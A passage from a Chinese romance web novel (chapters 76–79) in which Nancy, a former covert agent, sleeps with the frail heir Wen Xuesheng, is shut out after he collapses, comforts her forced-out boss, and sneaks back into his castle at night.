再后来,那些纹路一条都没了,他干干净净的,好看到让拉面馆的老板娘都忍不住多看几眼。 然后,他们就一直保持着亲密关系。她时不时去找他,他也从不真的拒绝,那段时间,他脸上的皮肤一直很白,除了偶尔熬夜留下的疲惫阴影,没有任何异样。 直到现在,这段亲密关系被迫中断,她好不容易见到他时,那些纹路就又出来了。一开始很淡,像青色的血管,后来慢慢加深,变成了眼前这样…… 南希像发现了新大陆,嘴巴不自觉地张开。 在这个世界上,竟然还有因为“那种事”而变帅的男人? 这是什么诡异的体质?! 这个荒谬的发现,直接冲淡了南希在心里积压的那些怪异感,她盯着温雪生露在被子外面的后脑勺,把心里的想法一股脑全说了出来。 温雪生越听,身体越紧绷,手指无意识地揪紧了身下的床单。当他听到南希得出最后的结论——“是不是我们那个了,纹路就会消失”后,他终于忍无可忍,恼羞成怒地,一把推开了她。 南希没防备,歪倒在一边。 温雪生趁机蜷到床的另一边,整个人弓起来,把脸藏进双膝: “都说了不是!……” “嗯?”南希起身,挪过去,戳了戳他的肩膀,露出一脸坏笑:“小生生?真不是吗?” 第76章 事后 温雪生没理她,头埋得低,南希看不清他的表情。 “你说嘛,是不是呀?”她用那种刻意装出来的天真声音问着,手指却精准地戳在他肩胛骨最敏感的位置,“我觉得肯定是。诶,你别害羞……” “羞”字只发出了半个音,温雪生突然抬起了头,那眼神像是要把她吃掉:“是,还是不是,你试试不就知道了?” 啊…… 啥? 南希眼睛瞪圆,正要细品这句平常话下的虎狼之意,整个人就被一股强劲的力量压了下去。 床垫里的弹簧发出沉闷的呻吟,她的后脑勺撞在枕头上,眼前晃过天花板上的水晶吊灯。 温雪生喘着粗气,长刘海垂下扫着她的脸颊,那盖在左眼上的黑眼罩,这会儿也松了一些,边缘翻起,隐约露出几条藏青色纹路。 “你……”南希听到自己“怦怦”的心跳,吐出一个字。 温雪生的嘴唇抿紧了,似乎想往下去,却悬停在了半空。 试试?话说得倒是挺霸气…… 南希心里暗笑一下,猛抬起手,搂住他的脖子,把那犹犹豫豫的双唇直接压到了自己嘴上。 温雪生似乎没料到这突如其来的反攻,身体僵了一瞬。 就是在这一瞬,南希的舌尖追了出去,缠住了他的。 与此同时,她的另一只手抱住了他的腰,然后双手一起用力,使劲一翻,两个人彻底换了位置。 现在,南希在上面。 她笑着看了一眼温雪生狼狈的模样,再次毫不客气地吻上了他的唇,吮吸、轻咬,碾磨……空里浅浅分开,气息喷在他脸上,轻轻地说:“我还是更喜欢在上面。” 说完,嘴唇又覆了上去,力气更大,大到温雪生受不住发出低低的呻吟,大到不像是亲吻,倒像是在蹂躏,带着某种压抑已久的、发泄般的狠劲。 可即便是这样,她的手仍然没有老实。 在温雪生被亲得几近缺氧,浑身无力时,南希趁虚而入,从他的脸颊悄悄滑下,一路揉抚,抚过他脖颈凸起的喉结,他起伏有致的胸膛,他线条分明的腰腹,他…… 她想起来了,记忆里,温雪生害羞起来像一只猫,蜷缩着,用胳膊挡着脸;他激动起来整个身体都会泛红,体温直升,跟发烧了一样;他颤抖的幅度不大,频率却高,细密而持续,像秋风中最后一片不肯落下的叶子…… 眼前,温雪生的双唇一张一合着,好似要说些什么,南希放过了他几秒,给他喘气的空隙。 然后他的声音就出现在了耳边,很轻,很沙哑,卑微到近乎祈求:“不要再突然消失了,好吗?” 南希的心停了一拍。 但她没有回应。 房间里回荡着他们粗重的呼吸。在这种时候,不管是氛围,还是身体里奔流的激素都促使她说一个“好”字,说“我不会消失了”,说任何能让眼前这个人安心的话。 但是她依然没有说出那个字。 她只是看着他,看着他右眼里的光渐渐熄灭,看着他的脸色慢慢泛白,看着他额头上的汗珠越来越密……然后,她刚刚停滞的手再次动了起来,指尖冰凉,触到他温热的皮肤时,两人都轻微地颤了一下。 接着,她熟练地找到了他的西裤皮带,熟练地解开,感受到他整个人随之而来,痉挛般的剧烈战栗…… 温雪生闭上了眼睛,睫毛在皮肤上投下了抖动且细碎的阴影…… * 追悼会已经散了有些时候。 温沙城堡恢复了平日里的空旷,大厅里只剩下王姐、李妈妈等几个干活的,以及破晓的成员。 王姐从东头走到西头,眉头拧成了个死结。 她看哪都不顺眼。 墙上的黑绸挽带垂得不够齐整,宾客们的椅子归位时发出的声响太刺耳…… 平日李管事在的时候,她哪儿需要操这些心?如今她才晓得什么叫“管家的眼睛是尺子,管家的心是秤砣”。 “那个谁,小张!吸尘器的线缠住了,没看见吗?” “老陈,水擦干净,地毯浸了水可了不得!” “李妈妈,注意着点儿!这木头很贵的!” 她扯着嗓子吩咐了一圈儿,声音在挑高的大厅撞出回音,最后累得靠到墙上,对着边上路过的宫教授叹了口气。 宫教授正准备悄悄溜走,被王姐这一声直接钉在了原地。 “唉,教授,让您见笑了。”王姐抹了把额头的汗,“以前有李管事,啥都不用我想,我还老觉得他的活轻松,不就是管管人嘛,这轮到我管这个城堡了,才知道有多难!” 宫教授尴尬地笑了笑。 他就是走晚了一步……本来想等人都散了,跟温雪生说几句话再走,结果追悼会还没结束,温雪生就拉着女朋友上了楼,他没逮着机会。现在倒好,要被拽着听这些家务事。 “那个,李管事被判了多久?”他礼貌性地回问,眼睛瞟向大门方向。 王姐露出一脸愁容:“还不知道,昨天才进去,不过我们打听到,该是两年……唉,这都算轻的,这两年还是因为他以前跟着老爷做的那些事……” 宫教授若有所思地点点头。他其实对这些并不感兴趣,要不是碍于温雪生和张笑远的面子,这个追悼会他也不会来,所以他对这里的人,这里的事,也不是那么清楚。 “两年啊……”他喃喃道,“雪生好像挺依赖他的。” 这话一说出口,王姐的眼睛立马红了,她掏出手帕按了按眼角,声音哽咽起来:“他本来可以逃过的……但是少爷非让他去主动跟警察坦白,说是‘这样才能重新开始’……”她摇摇头,眼泪掉了下来,“少爷还说,人得活得干净……” 宫教授不知道该怎么安慰她,再次后悔为什么没早点走…… 然后这时候,楼梯上突然传来一阵急促的脚步声。 顿时,不仅是他,大厅里所有人的目光都看了过去。 从楼梯上跑下来的人是南希。 她的衣服穿得并不是很规整。衬衫不合身,最上面的两颗扣子没扣,下摆一半塞在牛仔裤里,一半扯在外面,头发凌乱,几缕发丝黏在汗湿的额头上,脸上还有一种难以形容的红润。 只不过那红润正在被一种惨白迅速占据。 她看到楼梯下的人后,脚步在最后一级台阶上踉跄了一下,差点摔倒。 张笑远从沙发上站起身,但南希没看他,而是扫过了整个大厅,像在搜寻什么。 “医生!”她喘着气,着急地喊,“温沙城堡不是有家庭医生来着?快!快跟我上去看看,温雪生晕过去了!” 大厅里安静了两秒。 然后所有脚步一齐动了起来。 王姐第一个冲过去,高跟鞋“哒哒”的响;李妈妈扔下手里的抹布,身体异常灵活地也跟上了;张笑远、宫教授皆愣了一瞬,也下意识地跑着跟过去;几个工作人员面面相觑,犹豫着要不要也上去看看…… 就这样,一群人像被无形的线牵着,跟着南希上了三楼。 南希跑在最前面,穿过一排排盆栽梅花,推开了温雪生的房门。 房间里的气温比外面高了不少。 窗户紧闭,空气里有种黏稠、甜腥的闷热感。 而里面的景象更加诡异,让所有人一时顿住了脚步。 地毯上散落着凌乱的衣服,一件白色衬衣,一条男式皮带,还有……女士内衣…… 衣服散落的位置和形态,都明明白白地诉说着它们是如何被匆忙褪下的。 房间中央的大床上,温雪生静静地躺着,眼睛紧闭,嘴唇红肿,甚至有一处破了皮,还在渗血。他身上只盖着一层薄薄的毯子,从裸露的肩膀和手臂来看,底下应该什么都没穿。 都是成年人,当人们一进到这个房间,不用说,也知道刚刚这里发生了什么。 空气凝固了。 王姐倒抽一口冷气,声音在寂静中格外刺耳;张笑远站在门口,没进去,脸上的表情复杂难辨;宫教授侧过头,忽然觉得自己的存在十分荒谬,他是温雪生的老师,为什么会在这里,目睹这种场面? 只有南希像是没看见这些,或者说,她看见了,但觉得根本不重要。她冲到床边,跪在床沿,摸了摸温雪生的脸,回头疾声问道:“我打了120,可这地方太偏了,救护车至少得四十分钟才能到。医生呢?家庭医生呢?!” 王姐终于回过神。 她往前走了两步,双臂抱在一起,强行按住自己正在发抖的身体,眼神瞪着南希,恨不得在她身上烧出两个洞来。 “你刚刚在这里,对少爷做了什么?!” 南希的眼睛里满是不解和焦躁:“还能有什么呀?!现在不是说这个的时候!医生!他现在需要医生!” “张小姐!少爷的身体不好!”王姐的声音提高了,强压的愤怒开始渗出,“身体,情绪,都不能太激动,这些你难道不知道吗?!你怎么能跟他做这些……这些对他不好的事?!” 南希委屈又生气,声音也拔高了:“可是他以前都没事的!这次也没比以前更激烈呀,怎么就……” 话说到一半,她突然顿住了。 房间里更安静了,所有人的表情都僵在了脸上。 王姐深深吸了一口气,强迫自己冷静下来。她走到床边,用毯子把温雪生裸露的肩膀盖得更严实了些,然后转向南希,恢复了往日的威严: “张小姐,已经有人去叫家庭医生了,不过在医生来之前,你需要把少爷怎么晕倒的,说清楚。” “说什么?”南希疑惑,“说我们怎么上的床?” “小张!”没等王姐反应,边上的李妈妈就惊呼出声。 第77章 隔绝 但南希已经不在乎了,她心里只担心温雪生的安危,正打算把这当成一件再平常不过的事,全说出来。 这时,一个穿着白大褂的秃头医生拎着药箱冲了进来。 “大家让一让,快让我看看少爷!” 温四生前,最担心的就是儿子的身体,为了能让卢氏的医生随叫随到,在温沙城堡边上搞了个卢氏医疗点,医生赶过来只需要五六分钟。 秃头医生带着他的博士助手,没跟任何人打招呼,径直走到床边,放下医药箱,就开始给温雪生做检查。 量血压、听心跳、翻眼皮、测体温…… 做完这些后,他面无表情地对周围的人说:“少爷需要安静,请大家先出去吧。” “好好好,麻烦您了。”王姐赶紧应声,然后挥着胳膊把所有人赶到了门外。 大概过了十分钟,房门终于又开了。 在一道道期待的目光下,博士助手从门后走出。她推了推厚重的眼睛,宣布道:“大家放心,少爷醒了。” 听了这话,南希立刻就往门里冲,她已经等不下去,她想赶紧握住温雪生的手,想看看他的眼睛,想确认他是不是真的没事了。 但那博士助手连忙拦住了她。 南希停下了脚步,却探着头,透过门缝瞄到了房间里的床,温雪生确实睁开了眼睛,但那双眼睛没有往她这边看。 南希又看向眼前的博士助手,似乎在用眼神问:怎么回事? 助手极少遇到这种情况,难免有些紧张,她避开南希的目光,清了清喉咙,说:“少爷醒了,不过,他说,他不想见任何人。” 她顿了顿,接着又补充了一句:“尤其是,张小姐。” 下一刻,博士助手退回了房间,门在南希眼前关了上来。 合拢时发出重重的“咔哒”声,就像是什么东西断在了她的胸腔。 南希愣在原地没动,眼睛盯着门板上的雕花。 走廊里的暖黄色灯光打在她脸上,却照不进她眼底。 “快走吧。”旁边的王姐拍了拍她,“你没听着吗?少爷不想见你。” 南希的手指蜷了一下,但她没转头,视线移到双开门中间,仿佛能透过那点缝儿看见里面似的。 见状,张笑远走了过来。 “走吧。”他劝说道,“温雪生或许有什么事不想让你看到,怕你担心。”他顺着南希的视线瞥向紧闭的门缝,补充说,“你也知道,他有时候,挺别扭的。” 南希慢慢转过头,一字一顿地说:“那我就更要进去看看了。” 这话说出口时,她自己心里都怔了下。她什么时候变成这样了?她并不是那种天生反骨的人,就算小时候有那么点倔脾气,也早被后来的生活给磨平了。现在的她,最怕给自己找麻烦,要是有人说不想见她,她绝对不会上杆子去找事。 不想见,就算了,没缘分,她还不想见他呢。 可这会儿,她站在这扇门前,里面那个刚刚还像只湿漉漉的小猫一样祈求她别再消失的男人,竟然想这么简单就把她隔在门外,她心里那点儿反骨,一时死灰复燃,噼里啪啦烧成了冲天大火。 呵,不想见我?那我就偏要见! 这个念头毫无道理,却像藤蔓一样瞬间缠满了她的心。她想不明白,温雪生醒了后怎么跟变了个人似的。 她要去弄清楚,必须! 回复完张笑远,她不再看任何人,突然转过身,右脚后撤半步,腰身一沉,在张笑远“别——”的惊呼声中,猛地踢了出去! 砰!!! 眼前的双开门登时被踹开了! 屋里的几人皆吓了一跳,眼神齐刷刷看过来。 那秃头医生最先反应过来,霎时皱紧了眉头。他放下手里的东西,小跑着冲向门口,伸出双臂,想要拦住南希。 “你干什么?!快出去!” 南希看都没看他,在他快要碰到自己时,一个侧身,将他闪开。 秃头医生缺少支点,身体一斜,脚下一滑,要不是碰巧扶住了门框,怕是已经扑地上磕掉了门牙。 见状,那博士助手也要过来拦住南希。 她年轻些,动作也快,几步就挡在了床前。 南希此时已经冲到了床尾,便顺势单手撑床,双腿一跃,直接腾空跃过了那博士助手。助手下意识伸手去抓,只抓到一缕空气。 床垫微微下陷,又弹起。 下一秒,南希稳稳落在了温雪生面前。 温雪生正用他那惯用的生气表情看着她。 南希并不在意,一撇嘴,直接用手把他的眉心捋平了。 “为什么不见我?”她问道。 温雪生似乎更生气了,为了不看她,闭上了眼,嘴巴抿成了一条直线。 南希也有火气:“刚刚谁说让我不再消失的?嗯?之前在李家村,谁说要一直跟着我的?怎么?这就不想见我了?!” 温雪生的睫毛轻轻颤了一下,但眼睛依旧紧闭,还是没理她。 南希火气更胜,低吼道:“好啊,你不说的话,我就不走了。”她斜眼看了看门口,“李管事不在,你这地方没一个能挡得了我的。” 南希被自己的话吓了一跳。她从没想过自己会这样死缠烂打,这样无赖……然后,像是认了似的,她做了一个更无赖的决定。 她忽然俯下身,在所有人包括温雪生都没反应过来的瞬间,捧起他的脸,对着他那刚要结痂的唇,强行亲了上去! 温雪生终于不再无动于衷,身体一僵,然后开始挣扎,脑袋扭动,双手胡乱推她的肩。 可他又怎么能挣脱得了? 他还从来没在床上赢过她。 就在这混乱的纠缠中,南希突然感到下唇传来一阵尖锐的刺痛。 “嘶……” 她痛得抽了口气,下意识捂着嘴直起身。 铁锈般的滋味在嘴里蔓延开来,她舔了一下,很腥,指尖也沾染上了一点血红。 温雪生竟然咬了她。 她垂眼看向他。 男人眼眶通红,眼里闪闪的,像是有泪水在打转。 “好啊……”温雪生终于开口,“你不是想知道吗?那我告诉你,我……” 然后他说不下去了,他侧过脸,不再与她对视。 南希看到枕头上很快湿了一片。 大概过了十几秒,温雪生调整了下呼吸,才继续说道:“就算你现在不走,留在我身边,以后也是会走的……让你能喜欢我的那些,以后不会再有了……” 南希愣住,她没听懂,无意识喃喃地问:“什么?” 温雪生的话还在继续,每个字都像是从牙齿缝里挤出来的。 “你会厌恶我,腻了我……与其等到那一天,还不如现在就不要见……” 南希看着他微微颤抖的肩膀,突然明白了什么。可那明白就像把钝了的刀子,割得不痛快,只让人觉得闷。 她想起王姐的话:少爷的身体和情绪都不能激动,不该做那种事…… 是了……是那个。 她脑子里乱哄哄的。 她在意这个吗?她承认,最初被温雪生吸引,是因为他那张脸,还有他的能力确实很突出……可是……可是只有这些吗?如果没了“这些”,她就会腻,就会厌恶吗? 她慌得厉害,一时想不明白,却本能地想要反驳,想要从他这些自暴自弃的话里找出漏洞。她嘴唇动了动,刚想说什么,温雪生突然咳嗽起来。 那不是一般的咳嗽,像是要把五脏六腑都咳出来,他整个人蜷缩在床上,脸涨得通红,然后又迅速转白。 “少爷!”秃头医生再也看不下去,跑过来把南希拽到了一边,力气大得出奇。 他一边匆忙查看温雪生的状况,一边转过头对南希说:“你快走吧!该说的,少爷已经都跟你说了!” 他胸膛起伏,显然是气得不轻,“我这才知道,前几天在什么李家村,少爷吃了那种虎狼之药!那种药怎么能随便吃?!啊?!那药的确能在短时间里让人的身体看起来强健些,可那是在掏空底子,是在透支以后的身体!饮鸩止渴,你懂不懂?怪不得少爷之前会昏睡两天,这才刚好些,又晕倒了!要是再不控制,他之后晕倒的频率会越来越高,身体会越来越差,说不定还会……唉!” 医生重重叹了口气,看着床上咳得缓不过气,眼角沁出泪水的温雪生,又狠狠瞪向南希:“总之,你快走吧!少爷现在需要的是绝对的平稳和静养!情绪不能有大的波动!你在这里,只会害了他!你非要看到不可挽回的结果才甘心吗?” 最后那句话,像一把重锤,砸得南希耳朵里嗡嗡作响,她不知道自己是怎么走出那个房间的,她只记得温雪生咳嗽的声音还在耳边响着,只记得秃头医生那张因为激动而发红的脸,只记得张笑远欲言又止的复杂表情…… 她也不知道自己是怎么穿过那长长的走廊,走下旋转楼梯,经过那些或好奇或打量的目光,远离气氛压抑的温沙城堡的…… 等她恍恍惚惚的意识再次清楚的时候,视野里多了张刘总的大脸。 他正摇晃着她的肩膀,着急地喊着:“小张!小张?!你别吓我啊!” 南希猛地睁圆眼,大口吸了一口气。 然后她扫视了一圈。 眼前的楼道是自己家的楼道,眼前的铁门是自己家的铁门…… 她这是回家了? 记忆一点点复苏,刚才她离开温沙城堡,开着切诺基一路狂奔的画面浮现在脑海。她忽然一阵后怕,自己竟然在意识不清的状况下开了车,还好路上没出啥事…… 她立马恢复了常态,把刘总汗津津的胖手从自己身上拿开,问道:“我说刘总,你来我家干啥?” 第78章 本子 咕嘟咕嘟…… 烧水壶里的水沸了,白色水蒸汽在午后的光线里翻腾。 南希从茶几底下摸出一袋茶叶。 塑料袋皱巴巴的,边缘泛黄,不知道是去年还是前年剩下的。 她打开颠了两下,茶叶已经碎成了渣,不过她毫不在意,反正又不是她给她喝的。她抓了把茶叶扔进茶杯,提起烧水壶,把热水冲下去,水的颜色迅速浑浊起来。 “刘总,喝吧。”她把杯子推到刘总面前,笑着说。 刘总瞅了一眼杯子里漂浮的茶梗,皱了皱眉,双手搭在膝盖上,没动。 南希装作没看见,把剩下的热水倒进暖壶,拧紧软木塞,然后躺倒在沙发上。 “刘总,”她懒懒地问:“你大老远跑来,总不能就为了跟我说你要退休了吧?” 刘总点了点头,随即又摇摇头,动作有些迟疑。 “唉,是,也不是……我这不是还担心你——” “打住。”南希抬起双手,做了个STOP的手势,“我这一身本事,没啥需要担心的。”她上半身前倾,盯着刘总的眼睛,“你先说说你的事,你咋突然就想着要退休了?你以前不还说要在组织里干到干不动为止吗?” 刘总笑了笑,只是笑容有些勉强。 “你这么年轻都想着要隐退,我为什么不能?” 说着,他的视线垂向了地面,两只手在膝盖中间攒起来,哑声问道,“小张,你这有烟吗?” 南希瞅他,果断回:“没有。” “你不是常抽烟吗?”刘总抬起头,眼神里闪过一丝不信,“我上回来,你这烟灰缸都快满了。” “戒了。”南希面色不改。 刘总知道她这是说谎。 现在,茶几上的烟灰缸虽然是空的,但边沿还沾着烟渍。 她这明摆着是不想给他烟。 但他也不能硬抢,只能伸出手,示弱地做了个乞讨的姿势。 “小张,给我一根,就一根,我付你钱,按市场价。” “不是钱的问题。”南希一把打开他的手,“你都这么大年纪了,就别抽了。再说,你抽得浑身臭烘烘的,你媳妇不骂你?你闺女不嫌你?现在学校里都教育‘吸二手烟比抽烟还致癌’,知道不?” 刘总的手停在半空,然后缓缓收回。 他沉默了一会儿,嘴唇动了几下,最后化成一声愁眉苦脸的叹息:“唉,你说你提什么她俩……”他抹了把脸,“我这要退休了,他们娘俩该咋办啊……” 南希听出这话里的问题,她坐直了身子,问:“刘总,你什么意思?我怎么听着,你不是自己想退休的……” 刘总又叹了口气。 “小张,你没去成总部这事,我知道了。” 南希的眼神闪烁了一下。 “那个要带你去总部的领导,是你张叔,对吧?”刘总继续说,“他从你这离开后,就去找了我。在我那破办公室里,坐我对面,说了足足半个钟头的好话,什么感谢我多年的辛勤付出,什么感谢我做出的成绩,最后说我劳苦功高,是该享清福的时候了。” 他停下来,从口袋里掏出一张折叠的纸,展开,推到南希面前。 那是一张银行汇款单的复印件,金额栏里写着一个数字:伍万圆整。 “他给了我这个,说总部允许我提前退休,还有额外补贴。”刘总苦笑一声,“可我从来没打过什么退休申请。小张,总部这就是不想让我干了……” 南希盯着那张汇款单复印件,手指微微收紧,心里像有块石头慢慢沉了下去。 “刘总,是因为你帮我打去总部的申请,连累了你吗?” 刘总摆着手回:“别瞎寻思,什么连累不连累的,谁也不知道总部那边是咋想的,也许就是觉得我老了,不中用了。其实,”他压低了声音,“你之前说要退休的时候,我也不想干了。虽然这行当赚得多,但总归不是正经活儿,整天提心吊胆的……就是我还得养媳妇养孩子,所以才有些不舒坦。唉,我表面上是有个小房产公司,但那就是个空壳子,用来给组织的事打掩护……营业执照是真的,办公室也是真的,但账本上没几个钱,这些年给组织干活挣的,也都搭进去维持这个门面了……” 南希越听越不得劲,虽然刘总不承认,但总部在这种时候突然把他给辞了,一定跟她脱不了干系。她端起刘总面前那杯已经凉了的茶,自己喝了一口。 实在是苦。 “刘总,”她打起精神,努力让声音听起来有干劲,“要不,你试试把你的这个房产公司真给做起来,怎么样?” 她认为,人在失意的时候需要的不是安慰,而是希望,现实的残酷已经摆在眼前,只有往前看或许还有点用。 刘总抬头看她,眼神茫然。 南希继续说,身体前倾,双手比划着:“你看啊,现在好多单位都不分配房子了,干房地产有市场的!我听说南边几个城市,很多人靠这个发了财!咱们这儿虽然慢点儿,但迟早也得跟上。” 刘总的眼神亮了下,但随即又暗淡下去。 “我哪儿真的会做正经生意啊……我就会给组织跑跑腿……” “谁天生就会?”南希打断他,“你给组织干活的时候,多难的活儿没接过?跟踪、侦查、情报传递……哪样不比卖房子复杂?你就把房产公司当成一个新任务,只不过这次是给你自己干。” 刘总点了点头,动作很慢:“好,那我试试……” “别只试试啊,”南希走到他面前蹲下,直视他的眼睛,“刘总,你要努力,拿出给组织干活的劲头来。这次可是给你自己干的,你更得用尽全力!”说着,她的嘴角弯起一个弧度,“到时候,我去给你打工,给你当销售!反正我要隐退了,闲着也是闲着。” 刘总终于笑了出来。 那笑容一开始还是很勉强,但慢慢变得真实了些。 他打心里觉得,有南希在的话,好像干什么都能成功,这是他们这些年的默契,他管理后勤,她冲锋在前,所有的难题都能迎刃而解…… 而且,其实他现在这么难受,有那么些原因,是因为他觉得,自己再也没法跟南希一起干活了。那些在深夜里蹲守目标的日子,那些在电话里用暗语传递信息的时刻……都要成为过去时了。 他笑着对南希说:“小张,你说的啊,不准反悔。” “那当然!”南希也笑,“我什么时候反悔过?” 她站起身,走回沙发坐下,“我这儿还有资源呢,到时候我把小生生介绍给你,他认识人多,能帮上……” 话说到一半就说不下去了。 小生生,温雪生…… 这个名字突然刺进南希毫无防备的血肉里,她的表情凝固了,嘴角虽然还保持着上扬的弧度,但眼睛里的光迅速暗了下去。 温雪生的事就像她心里一块无法愈合的伤疤,表面结了痂,底下却一直在溃烂,稍一触碰,就会疼。 南希也叹了口气,这声叹息与刘总的不同,更轻,更绵长,像一缕烟缓缓散在空气里。她不想影响到刚刚好一点的刘总,赶紧提起嘴角,努力做出轻松的样子。 “啊,内急内急,突然肚子疼……”她随便找了个理由,“刘总你坐会儿,我马上回来!” 说完她就往厕所冲,脚步很快,几乎是逃走的,然后她推门进了厕所,反手上了锁。 她坐在马桶上,没有脱裤子,只是坐着,眼睛望着天花板,那里有一片水渍,形状像一朵畸形的花。 然后,深深的叹气从胸腔深处涌上,带着无尽的疲惫和茫然。 其实她心里一直隐隐的发闷,像有什么沉重的东西压在胸口,这让她提不起精神,对什么事都不感兴趣。 自打她被温雪生关在门外,这种感觉就没离开过,刚才想到他时,这感觉便又加重了,像潮水一样漫上来,几乎要把她淹没,她喘不动气了。 她应该是第一次有这种感觉…… 但好像不是第一次听说。 之前她把那个总缠着他的男朋友甩掉时,对方曾跟她描述过类似的感觉:“小希,你知道我现在什么感受吗?就像胸口被掏空了,憋得慌,看什么都灰蒙蒙的……” 当时她只是抽回手,冷淡地说:“那你就使劲喘气,多呼吸几口新鲜空气。” 现在她知道了。 这种感觉,是失恋的感觉…… 她猛地挠了挠头,把脸埋进了手里,心想,果真应了那句古话,常在河边走,哪有不湿鞋…… 大概过了五六分钟,她才把心情调整得好了那么一点。 她告诉自己:日子还得过,刘总还在外面。她便站起身,准备装模作样地冲个水,制造出“确实上了厕所”的假象。 这时,刘总忽然嚷嚷起来: “小张啊!你在里面干什么呢?这么长时间了还不出来,掉坑里去了啊?” 南希嘴角一抽。 刘总这个人哪儿都好,就是太罗嗦太烦人太像个操心的老头子。 她果断按下冲水按钮,水流的旋转声顿时盖过了刘总的唠叨。 在这声音的掩护下,她洗了把脸,看着镜子里那张略显苍白的面孔,用力拍了拍脸颊,让血色回来一些。 然后她打开了门。 可就在这一刻—— 扑通! 咣当!! “啊!!!” 客厅里突然传来一道混着男人尖叫和东西砸地的声音。 南希一惊,赶紧冲了出去,心里想着这刘总又在搞什么鬼,眼前就出现了一个令她火冒三丈的场景: 刘总扑在地上,胖胖的身躯像一只搁浅的海豹。沙发旁边的小书架砸在他的身上,那是南希自己钉的简易书架,原本就不太稳当,现在它完全散架了,木板和书散了一地。这还不算什么,地上的暖水壶也倒了,瓶胆碎裂,热水流了出来,在地面上蔓延,浸湿了散落的书。 刘总见南希终于出来了,哭声嚷道:“哎呦,快,快把我扶起来!不小心被烧水壶的线绊倒了……烫,不,疼死我了!” 他边说试图翻身,但书架板子压着他的后背,他动弹不得。热水已经浸湿了他的裤腿,好在水是流过去的,水温没那么高,不至于烫伤。 南希看着这一片狼藉,感觉太阳穴突突的跳。 “我看你直接疼死算了!” 然后她没管刘总,径直走向那摊水和书前,想着趁水还没完全把书泡透,赶紧做抢救。 她一本一本地捡,用力甩掉封面和书页上的水珠,再展开检查内页浸湿的程度,最后小跑着送到阳台,摊开在晾衣架上晒。 刘总见南希真生气了,怕再惹毛了她,即使她没管自己,也不急着催。他为了弥补自己闯下的祸,趴在地上,用手把能够到的书都推到离水远的地方。 在两人的配合下,总算没酿成太严重的灾难。 南希一趟一趟地搬书,动作越来越快,她正蹲下身,又捡起几本书,视线里突然出现了一本牛皮封面的厚本子。 那本子躺在一摊水上,边角已经磨损,露出下面的纸页。 没有书名,没有标签,只有右下角用钢笔写着一个很小的“W”。 南希的呼吸滞了一瞬。 这个是……是温雪生的…… 记忆如潮水般涌上,带着那个冬夜的寒冷和激情。 在她第一次闯进温沙城堡三楼时,为了蓝宝石任务,曾各种翻箱倒柜,最后她找到了床头柜的一处暗格,从暗格里,她又找到了这个本子。 她拿着这个本子,站在温雪生面前,看着他瞬间变白的脸,以此为筹码要挟他、戏弄他。 如果非要寻出一个她和温雪生羁绊开始的地方,那么,就应该是这个本子吧。 那时,她翻看了这个本子的第一页,便合上了。 她不喜欢窥探别人的隐私。 因为,这是一本,日记本。 第79章 脆弱 温沙城堡笼罩在朦胧的月光之下。 远处偶尔传来几声野猫叫,凄厉得像刚从坟墓里爬出来的。 南希站在城堡楼下,一身紧贴的黑色夜行服几乎融进夜色里。 她抬头望向三楼那扇熟悉的窗户,漆黑一片,没有半点光亮。与此同时,铁爪从手腕“咔”的一声弹出,钢索登时在空中划出一道弧线,然后稳稳地勾住了窗沿。 南希试了试力道,一跃而起,悄无声息地翻了上去。 窗子是虚掩着的,一推就开,她矫健地跳下窗落地,发出一声轻响。 房间里,比从外面看更黑。 要是往常,她这样跳进来,温雪生必然已经醒了。那家伙睡觉轻得像片羽毛,一点点动静都能把他从梦里拽出来。 可这一次,什么也没有。 周围死一般的寂静,她只能听到自己的呼吸声,还有窗外若有若无的风声。 南希的心没来由地紧了一下。这如果在以前,她肯定想都不想就冲到床边,看看温雪生在不在,或者看看他是不是又昏迷了,可是现在,她站在窗边没动,手指无意识地蜷起来,然后摸出夜视镜,戴到脸上,这才敢把眼睛一点点瞥向床的位置。 床铺平整,被子叠得方正,枕头摆得也正,没有一丝褶皱。 他不在…… 南希心里咯噔一下。 她加快了动作,迅速扫视四周:书桌旁没人,沙发上也没人,卫生间的门敞开着,里面也是黑的。 整个房间都没有温雪生的影子。 现在已经夜里一点多了,以他目前的身体状况,应该早就睡了才对。 他能去哪儿呢? 一个念头猛地窜上来:难道他突然病情加重,被紧急送到卢氏医院去了? 这个念头像针一样,扎破了南希勉强维持的镇定。她一想到温雪生可能正躺在医院的病床上,身边围着一堆冰冷的仪器,就觉得喘不过气。 她必须马上见到他!不管怎么样都要见到他! 这样想着,她转身就要跳窗,一条腿已经跨上了窗台,手也抓住了窗框,脑海里的她甚至已经开车直奔卢氏医院。 但突然间,所有的动作都停住了。 不是因为她恢复了理智,而是一种更原始的东西——强烈的第六感突然袭击了她,就像有人在她后脑勺上重重拍了一巴掌。 还不能走。 南希把腿从窗台上收回,站在房间中央,在夜视镜的加持下,每件家具都清晰得十分诡异。 要不,在温沙城堡里转转走走? 这里那么大,有二十几个房间,说不定温雪生为了躲她,去了别的房间…… 对,或许就是这样。 她快步出了门,尽量把泛滥的情绪收起来。 走廊里更加幽深黑暗。夜视镜的视野里,长长的地毯向前延伸着。 南希刻意把脚步放慢、放轻,起初像个小偷,渐渐的,变得像一只猫。 她顺着熟悉的路线慢慢往下走。一步一步,下了一层,两层……这时候,夜视镜的边缘突然出现了一个模糊的人影。 她的心漏跳了一拍。 那人影站在一楼挑空大厅中央,黑发柔顺,睡衣松垮,身形单薄得像一张纸,仿佛一碰就会碎。 南希觉得喉咙发干,下意识咽了口唾沫,声音在死寂的空间里异常清晰。 这让她吓了一跳,连忙屏住了呼吸。 可那人影似乎毫无察觉。 南希看着他,犹豫了足足十几秒,然后,重新开始移动。 她依然走得很慢,一阶,一阶地往下,脚步声轻得快要听不见,呼吸却重了起来,但这些声音好像还是不足以影响到楼下那个人。 他实在太专注了。 此时此刻,温雪生正微微仰着头,眼睛直直的注视着前方。 那里挂着一张很大很高的黑白照片,几乎占满了整面墙。照片里的人穿着笔挺的中山装,眼神十分锐利。 那是温四,温雪生的父亲。 在这样的深夜,在这样空旷死寂的欧式城堡,这张巨大的黑白遗像显得格外瘆人。照片里的温四像是随时会从相框走出来,把外面的人拽进去似的。 而温雪生的魂魄好像真的被拽进去了。 直到南希走到他跟上,距离近到能看清他睡衣上的褶皱,他都没有注意到她。 他的眼睛里有闪烁的光,透过夜视镜看过去,像两颗湿润的珠子。 南希决定不再弄出动静来打扰他。 她默默地站到他身边,默默地陪他一起,看着那张照片。 时间在黑暗里失去了意义。 可能过了五分钟,也可能过了半个小时,温雪生终于动了一下。 或许是因为一个不经意的斜眼,也或许是因为他想离开了,他突然察觉到身边多了一个人,随即身体一颤,向后退了一步。 南希忙伸手扶他。 